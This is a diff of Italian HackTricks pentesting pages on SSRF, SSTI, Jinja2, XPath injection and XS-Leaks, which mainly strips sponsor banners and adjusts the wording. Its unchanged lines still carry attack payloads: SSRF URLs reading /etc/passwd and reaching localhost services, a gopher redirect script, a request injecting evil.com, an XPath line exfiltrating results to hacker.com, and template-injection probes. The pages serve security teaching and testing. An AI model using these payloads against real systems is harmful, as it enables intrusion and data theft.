-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
-
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informazioni di base
@@ -46,13 +38,13 @@ Leggi di più qui: [https://portswigger.net/web-security/ssrf](https://portswigg
 - **file://**
 - Lo schema URL `file://` è riferito, puntando direttamente a `/etc/passwd`: `file:///etc/passwd`
 - **dict://**
-- Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Un esempio fornito illustra un URL costruito che mira a una parola specifica, database e numero di voce, così come un'istanza di uno script PHP che potrebbe essere potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: `dict://;@:/d:::`
+- Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Un esempio fornito illustra un URL costruito che mira a una parola specifica, database e numero di voce, così come un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: `dict://;@:/d:::`
 - **SFTP://**
 - Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP malevolo: `url=sftp://generic.com:11111/`
 - **TFTP://**
 - Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Una richiesta TFTP viene effettuata a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
 - **LDAP://**
-- Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere a servizi di informazioni directory distribuiti su reti IP. Interagisci con un server LDAP su localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
+- Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere ai servizi di informazioni directory distribuite su reti IP. Interagisci con un server LDAP su localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
 - **SMTP**
 - Viene descritto un metodo per sfruttare le vulnerabilità SSRF per interagire con i servizi SMTP su localhost, inclusi i passaggi per rivelare nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
 ```
@@ -141,7 +133,7 @@ Potrebbe valere la pena provare un payload come: `` url=http://3iufty2q67fuy2dew
 
 ## Rendering dei PDF
 
-Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi **inserire del JS che verrà eseguito dal creatore del PDF** stesso (il server) mentre crea il PDF e potrai abusare di un SSRF. [**Trova ulteriori informazioni qui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
+Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi **inserire del JS che verrà eseguito dal creatore del PDF** stesso (il server) durante la creazione del PDF e potrai abusare di un SSRF. [**Trova ulteriori informazioni qui**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
 
 ## Da SSRF a DoS
 
@@ -187,14 +179,6 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4
 if __name__ == "__main__":
 app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ```
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari** più **avanzati** al mondo.\
-Accedi Oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
-
 ## Proxy mal configurati per SSRF
 
 Trucchi [**da questo post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
@@ -234,7 +218,7 @@ Codice vulnerabile:
 
 

 
-È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente poi di utilizzare **`@`** e iniettare un nuovo host da accedere. Richiesta di attacco:
+È stato scoperto che è possibile **iniziare il percorso** di una richiesta con il carattere **`;`** che consente di utilizzare poi **`@`** e iniettare un nuovo host da accedere. Richiesta di attacco:
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
@@ -320,7 +304,7 @@ cloud-ssrf.md
 
 ## SSRF Vulnerable Platforms
 
-Diverse piattaforme conosciute contengono o hanno contenuto vulnerabilità SSRF, controllale in:
+Diverse piattaforme note contengono o hanno contenuto vulnerabilità SSRF, controllale in:
 
 {{#ref}}
 ssrf-vulnerable-platforms.md
@@ -367,11 +351,3 @@ SSRF Proxy è un server proxy HTTP multi-thread progettato per tunnelare il traf
 - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** del mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index 10107f666..e7b0f67f4 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -2,17 +2,12 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Che cos'è SSTI (Server-Side Template Injection)
+## Cos'è SSTI (Server-Side Template Injection)
 
 L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.
 
-Jinja è un motore di template popolare utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
+Jinja è un popolare motore di template utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
 ```python
 output = template.render(name=request.args.get('name'))
 ```
@@ -24,7 +19,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
 ```
 Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.
 
-Per prevenire vulnerabilità da iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
+Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
 
 ### Rilevamento
 
@@ -37,7 +32,7 @@ Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing
 
 #### Fase di identificazione
 
-Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
+Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.
 
 #### Identificazione tramite payload
 
@@ -49,7 +44,7 @@ Identificare il motore del template comporta l'analisi dei messaggi di errore o
 
 ### [TInjA](https://github.com/Hackmanit/TInjA)
 
-un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi.
+un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi
 ```bash
 tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
 tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
@@ -378,11 +373,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 - `${{7*7}}` - 49
 - `${{request}}, ${{session}}, {{faceContext}}`
 
-Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
+Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
 
 - **JavaServer Faces (JSF)**: Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
 - **JavaServer Pages (JSP)**: EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
-- **Contexts and Dependency Injection for Java EE (CDI)**: EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura dell'applicazione più coerente.
+- **Contexts and Dependency Injection for Java EE (CDI)**: EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura applicativa più coerente.
 
 Controlla la seguente pagina per saperne di più sull'**sfruttamento degli interpreti EL**:
 
@@ -421,13 +416,9 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
 
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

 
-- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
+- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
 
-

 
-​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
 
 ##
 
@@ -824,7 +815,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di
 
 [Official website](http://jinja.pocoo.org)
 
-> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
+> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.
 
 - `{{7*7}} = Errore`
 - `${7*7} = ${7*7}`
@@ -950,10 +941,10 @@ Anche se è Perl, utilizza tag come ERB in Ruby.
 ```
 ### SSTI in GO
 
-Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
+Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
 
 - `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
-- `{{printf "%s" "ssti" }}`: Si prevede che visualizzi la stringa "ssti".
+- `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
 - `{{html "ssti"}}`, `{{js "ssti"}}`: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go [qui](https://golang.org/pkg/text/template).
 
 
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

@@ -1012,10 +1003,4 @@ Se pensi possa essere utile, leggi:
 - [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
 - [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
 
-

-
-​​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
-
-{% embed url="https://www.rootedcon.com/" %}
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
index 1aee3e1a0..50dc9c134 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
@@ -2,13 +2,8 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
-
-## **Lab**
+## **Laboratorio**
 ```python
 from flask import Flask, request, render_template_string
 
@@ -65,7 +60,7 @@ Se l'estensione di debug è abilitata, un tag `debug` sarà disponibile per dump
 ```
 ## **Iniezione Jinja**
 
-Prima di tutto, in un'iniezione Jinja è necessario **trovare un modo per uscire dal sandbox** e recuperare l'accesso al normale flusso di esecuzione di Python. Per farlo, è necessario **abusare degli oggetti** che provengono dall'ambiente **non sandboxed ma sono accessibili dal sandbox**.
+Prima di tutto, in un'iniezione Jinja è necessario **trovare un modo per uscire dalla sandbox** e recuperare l'accesso al normale flusso di esecuzione di Python. Per farlo, è necessario **abusare degli oggetti** che provengono dall'ambiente **non sandboxed ma sono accessibili dalla sandbox**.
 
 ### Accesso agli Oggetti Globali
 
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index 2a845af9f..4e81f03d9 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -2,20 +2,12 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero essere vulnerabili**. Questo post è pensato come una checklist per confermare che hai cercato vulnerabilità in tutti i possibili luoghi.
 
 ## Proxies
 
 > [!NOTE]
-> Oggigiorno le **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy** **intermediari**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
+> Oggigiorno **le** **applicazioni** **web** di solito **utilizzano** qualche tipo di **proxy** **intermediari**, che possono essere (ab)usati per sfruttare vulnerabilità. Queste vulnerabilità necessitano di un proxy vulnerabile per essere presenti, ma di solito richiedono anche qualche vulnerabilità extra nel backend.
 
 - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
 - [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
@@ -26,13 +18,13 @@ In ogni Web Pentest, ci sono **diversi luoghi nascosti e ovvi che potrebbero ess
 - [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 - [ ] [**Proxy / WAF Protections Bypass**](proxy-waf-protections-bypass.md)
 
-## **Input dell'utente**
+## **User input**
 
 > [!NOTE]
-> La maggior parte delle applicazioni web **consentirà agli utenti di inserire alcuni dati che verranno elaborati in seguito.**\
+> La maggior parte delle applicazioni web **consentirà agli utenti di inserire alcuni dati che verranno elaborati successivamente.**\
 > A seconda della struttura dei dati che il server si aspetta, alcune vulnerabilità potrebbero o meno applicarsi.
 
-### **Valori Riflessi**
+### **Reflected Values**
 
 Se i dati introdotti possono in qualche modo essere riflessi nella risposta, la pagina potrebbe essere vulnerabile a diversi problemi.
 
@@ -58,7 +50,7 @@ Alcune delle vulnerabilità menzionate richiedono condizioni speciali, altre ric
 pocs-and-polygloths-cheatsheet/
 {{#endref}}
 
-### **Funzionalità di ricerca**
+### **Search functionalities**
 
 Se la funzionalità può essere utilizzata per cercare qualche tipo di dati all'interno del backend, forse puoi (ab)usarla per cercare dati arbitrari.
 
@@ -69,7 +61,7 @@ Se la funzionalità può essere utilizzata per cercare qualche tipo di dati all'
 - [ ] [**SQL Injection**](sql-injection/)
 - [ ] [**XPATH Injection**](xpath-injection.md)
 
-### **Form, WebSockets e PostMsgs**
+### **Forms, WebSockets and PostMsgs**
 
 Quando un websocket invia un messaggio o un modulo che consente agli utenti di eseguire azioni, possono sorgere vulnerabilità.
 
@@ -79,7 +71,7 @@ Quando un websocket invia un messaggio o un modulo che consente agli utenti di e
 
 ### **HTTP Headers**
 
-A seconda degli HTTP headers forniti dal server web, alcune vulnerabilità potrebbero essere presenti.
+A seconda degli header HTTP forniti dal server web, alcune vulnerabilità potrebbero essere presenti.
 
 - [ ] [**Clickjacking**](clickjacking.md)
 - [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
@@ -99,7 +91,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre
 - [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
 - [ ] [**Registration Vulnerabilities**](registration-vulnerabilities.md)
 
-### **Oggetti strutturati / Funzionalità specifiche**
+### **Structured objects / Specific functionalities**
 
 Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\
 Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections).
@@ -109,7 +101,7 @@ Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utili
 - [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
 
-### File
+### Files
 
 Le funzionalità che consentono il caricamento di file potrebbero essere vulnerabili a diversi problemi.\
 Le funzionalità che generano file includendo input dell'utente potrebbero eseguire codice imprevisto.\
@@ -120,12 +112,12 @@ Gli utenti che aprono file caricati da altri utenti o generati automaticamente i
 - [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
-### **Gestione dell'identità esterna**
+### **External Identity Management**
 
 - [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
 - [ ] [**SAML Attacks**](saml-attacks/)
 
-### **Altre vulnerabilità utili**
+### **Other Helpful Vulnerabilities**
 
 Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
 
@@ -134,12 +126,4 @@ Queste vulnerabilità potrebbero aiutare a sfruttare altre vulnerabilità.
 - [ ] [**Parameter Pollution**](parameter-pollution.md)
 - [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md
index 61b98051e..d49973824 100644
--- a/src/pentesting-web/xpath-injection.md
+++ b/src/pentesting-web/xpath-injection.md
@@ -2,26 +2,11 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Hacking Insights**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Real-Time Hack News**\
-Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
-
-**Latest Announcements**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
-## Basic Syntax
+## Sintassi di Base
 
 Una tecnica di attacco nota come XPath Injection viene utilizzata per sfruttare le applicazioni che formano query XPath (XML Path Language) basate sull'input dell'utente per interrogare o navigare nei documenti XML.
 
-### Nodes Described
+### Nodi Descritti
 
 Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML. Queste espressioni e le loro descrizioni sono riassunte di seguito:
 
@@ -32,18 +17,18 @@ Le espressioni vengono utilizzate per selezionare vari nodi in un documento XML.
 - **..**: Viene selezionato il genitore del nodo corrente.
 - **@**: Vengono selezionati gli attributi.
 
-### XPath Examples
+### Esempi di XPath
 
 Esempi di espressioni di percorso e i loro risultati includono:
 
 - **bookstore**: Vengono selezionati tutti i nodi chiamati "bookstore".
-- **/bookstore**: Viene selezionato l'elemento radice bookstore. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
+- **/bookstore**: L'elemento radice bookstore viene selezionato. Si nota che un percorso assoluto verso un elemento è rappresentato da un percorso che inizia con una barra (/).
 - **bookstore/book**: Vengono selezionati tutti gli elementi book che sono figli di bookstore.
 - **//book**: Vengono selezionati tutti gli elementi book nel documento, indipendentemente dalla loro posizione.
 - **bookstore//book**: Vengono selezionati tutti gli elementi book che sono discendenti dell'elemento bookstore, indipendentemente dalla loro posizione sotto l'elemento bookstore.
 - **//@lang**: Vengono selezionati tutti gli attributi chiamati lang.
 
-### Utilization of Predicates
+### Utilizzo dei Predicati
 
 I predicati vengono utilizzati per affinare le selezioni:
 
@@ -52,11 +37,11 @@ I predicati vengono utilizzati per affinare le selezioni:
 - **/bookstore/book\[last()-1]**: Viene selezionato il penultimo elemento book figlio dell'elemento bookstore.
 - **/bookstore/book\[position()<3]**: Vengono selezionati i primi due elementi book figli dell'elemento bookstore.
 - **//title\[@lang]**: Vengono selezionati tutti gli elementi title con un attributo lang.
-- **//title\[@lang='en']**: Vengono selezionati tutti gli elementi title con un valore dell'attributo "lang" pari a "en".
+- **//title\[@lang='en']**: Vengono selezionati tutti gli elementi title con un valore di attributo "lang" pari a "en".
 - **/bookstore/book\[price>35.00]**: Vengono selezionati tutti gli elementi book della bookstore con un prezzo superiore a 35.00.
 - **/bookstore/book\[price>35.00]/title**: Vengono selezionati tutti gli elementi title degli elementi book della bookstore con un prezzo superiore a 35.00.
 
-### Handling of Unknown Nodes
+### Gestione dei Nodi Sconosciuti
 
 I caratteri jolly vengono impiegati per abbinare nodi sconosciuti:
 
@@ -70,7 +55,7 @@ Ulteriori esempi includono:
 - **//\***: Seleziona tutti gli elementi nel documento.
 - **//title\[@\*]**: Seleziona tutti gli elementi title con almeno un attributo di qualsiasi tipo.
 
-## Example
+## Esempio
 ```xml
 
 
@@ -281,19 +266,4 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
 - [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection\_(OTG-INPVAL-010)]()
 - [https://www.w3schools.com/xml/xpath_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
 
-

-
-Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md
index c3ee632f3..515ee3ab5 100644
--- a/src/pentesting-web/xs-search.md
+++ b/src/pentesting-web/xs-search.md
@@ -1,17 +1,10 @@
 # XS-Search/XS-Leaks
 
-

-
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## Informazioni di base
 
-XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità di canale laterale**.
+XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità nei canali laterali**.
 
 I componenti chiave coinvolti in questo attacco includono:
 
@@ -20,16 +13,16 @@ I componenti chiave coinvolti in questo attacco includono:
 - **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad es., window.open, iframe, fetch, tag HTML con href, ecc.).
 - **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione.
 - **Stati**: Le due potenziali condizioni del Web Vulnerabile, che l'attaccante mira a distinguere.
-- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.
+- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per dedurre lo stato del Web Vulnerabile.
 
 ### Differenze Rilevabili
 
 Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:
 
 - **Codice di Stato**: Distinguere tra **vari codici di stato della risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
-- **Utilizzo delle API**: Identificare l'**utilizzo delle Web API** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica Web API JavaScript.
-- **Redirect**: Rilevare navigazioni verso pagine diverse, non solo redirect HTTP ma anche quelli attivati da JavaScript o HTML.
-- **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle risorse secondarie della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
+- **Utilizzo delle API**: Identificare **l'uso delle Web API** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica Web API JavaScript.
+- **Reindirizzamenti**: Rilevare navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
+- **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle sotto-risorse della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
 - **Intestazione HTTP**: Notare la presenza o possibilmente il valore di un **specifico header di risposta HTTP**, inclusi header come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
 - **Tempi**: Notare discrepanze temporali costanti tra i due stati.
 
@@ -37,15 +30,15 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
 
 - **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
-- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
